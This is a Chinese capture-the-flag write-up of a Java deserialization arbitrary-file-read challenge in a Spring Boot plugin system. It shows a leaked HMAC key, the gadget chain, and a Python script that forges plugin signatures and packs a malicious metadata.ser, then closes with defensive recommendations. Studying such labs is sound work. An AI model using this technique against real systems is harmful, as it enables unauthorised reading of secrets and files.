ISCC 决赛 Agent 插件管理系统:Java 反序列化任意文件读取

一、题目背景

题目是一个 Agent 插件管理系统,提供插件上传和日志查看功能。附件为 Spring Boot 应用,解包后可以进行源码和配置分析。

整体利用链:

1
解包 jar -> 获取 HMAC 密钥 -> 构造合法插件包 -> metadata.ser 触发反序列化 -> 读取目标文件 -> 从日志接口取回内容

二、信息收集

解包 agent-core.jar 后重点关注:

1
2
3
4
BOOT-INF/classes/application.yml
com.agent.update.controller.UploadController
com.agent.update.service.PluginService
com.agent.update.deserialization.*

配置文件中泄露了上传目录和 HMAC 密钥:

1
2
3
app:
upload-dir: /app/uploads/
hmac-key: k3y_5A62_X86

接口:

1
2
POST /api/upload
GET /api/logs?team_id=xxx

上传接口参数:

1
2
file
team_id

三、插件校验逻辑

插件包需要是:

1
2
3
zip
jar
plugin

解压后至少包含:

1
2
manifest.json
metadata.ser

服务端流程:

  1. 上传插件压缩包。
  2. 解压到 /app/uploads/{team_id}/extracted
  3. 读取 manifest.json
  4. 使用 manifest.json 中的 hmacSignature 校验 metadata.ser
  5. 校验通过后反序列化 metadata.ser

由于 HMAC 密钥已经从配置文件泄露,因此可以伪造合法签名,让服务端接受我们构造的 metadata.ser

四、反序列化调用链

反编译关键类后,可以得到调用链:

1
2
3
4
5
6
ResourceRefresher.readObject()
-> ResourceRefresher.refresh()
-> DataStream.process(targetPath)
-> FileExporter.export(targetPath)
-> Files.readAllBytes(targetPath)
-> LogService.log(teamId, "FILE_EXPORT", 文件内容)

关键点:

  • ResourceRefresher 是反序列化入口对象。
  • targetPath 控制读取路径。
  • FileExporter 内部有 teamId 字段。
  • 文件内容会写入对应 teamId 的日志。

因此只要构造对象关系:

1
2
3
ResourceRefresher
targetPath = /opt/app/.env 或 /flag
dataStream.exporter.teamId = 自己的 team_id

上传后访问:

1
/api/logs?team_id=自己的 team_id

即可取回文件内容。

五、插件包结构

构造后的插件包结构:

1
2
3
exploit_generated.zip
├── manifest.json
└── metadata.ser

manifest.json 中需要包含对 metadata.ser 的合法 HMAC 签名。

伪造签名的思路:

1
hmacSignature = HMAC_SHA256(hmac-key, metadata.ser bytes)

由于密钥已知,签名校验无法阻止攻击。

六、利用流程

完整流程:

1
2
3
4
5
6
7
8
9
1. 编译 ExploitBuilder.java
2. 构造 ResourceRefresher 对象
3. 序列化生成 metadata.ser
4. 使用泄露密钥生成 HMAC
5. 写入 manifest.json
6. 打包 zip
7. 上传 /api/upload
8. 请求 /api/logs?team_id=xxx
9. 从日志中提取 flag

自动化脚本需要完成两件事:

  • 本地构造合法插件包。
  • 上传插件并轮询日志接口。

七、简化脚本逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import hmac
import hashlib
import json
import zipfile
from pathlib import Path

HMAC_KEY = b"k3y_5A62_X86"


def sign_metadata(metadata_path):
data = Path(metadata_path).read_bytes()
return hmac.new(HMAC_KEY, data, hashlib.sha256).hexdigest()


def build_manifest(metadata_path):
return {
"name": "agent-helper",
"version": "1.0.0",
"hmacSignature": sign_metadata(metadata_path)
}


def pack_plugin(metadata_path, output_zip):
manifest = build_manifest(metadata_path)
manifest_path = Path("manifest.json")
manifest_path.write_text(json.dumps(manifest), encoding="utf-8")

with zipfile.ZipFile(output_zip, "w", zipfile.ZIP_DEFLATED) as zf:
zf.write(manifest_path, "manifest.json")
zf.write(metadata_path, "metadata.ser")

真实解题脚本还需要调用 Java 构造 metadata.ser,并通过 HTTP 上传插件。

八、漏洞总结

本题是典型的“可信校验被密钥泄露绕过 + Java 反序列化”的组合题。

环节 问题
配置文件 HMAC 密钥泄露
插件校验 签名只保证来源可信,但密钥已暴露
反序列化 对上传包中的 metadata.ser 执行反序列化
业务逻辑 可控路径被用于 Files.readAllBytes()
回显方式 文件内容写入日志接口

九、防护建议

  • 密钥不应硬编码在应用包中。
  • 插件校验密钥应使用环境变量或密钥管理系统。
  • 不要反序列化用户上传内容。
  • 如果必须反序列化,使用白名单类和安全序列化格式。
  • 文件读取路径必须做白名单限制。
  • 日志中不要写入敏感文件内容。
  • 上传插件应在沙箱环境中解析和执行。

十、复盘

这题的关键在于把多个小点串起来:配置泄露本身可能只是信息泄露,但它让插件签名机制失效;反序列化本身也不一定直接命令执行,但结合业务类中的文件读取和日志回显,就形成了完整任意文件读取链。

分析这类 Java 题时,建议先从配置、Controller、Service、反序列化类、日志输出五个方向入手,很容易把攻击路径串出来。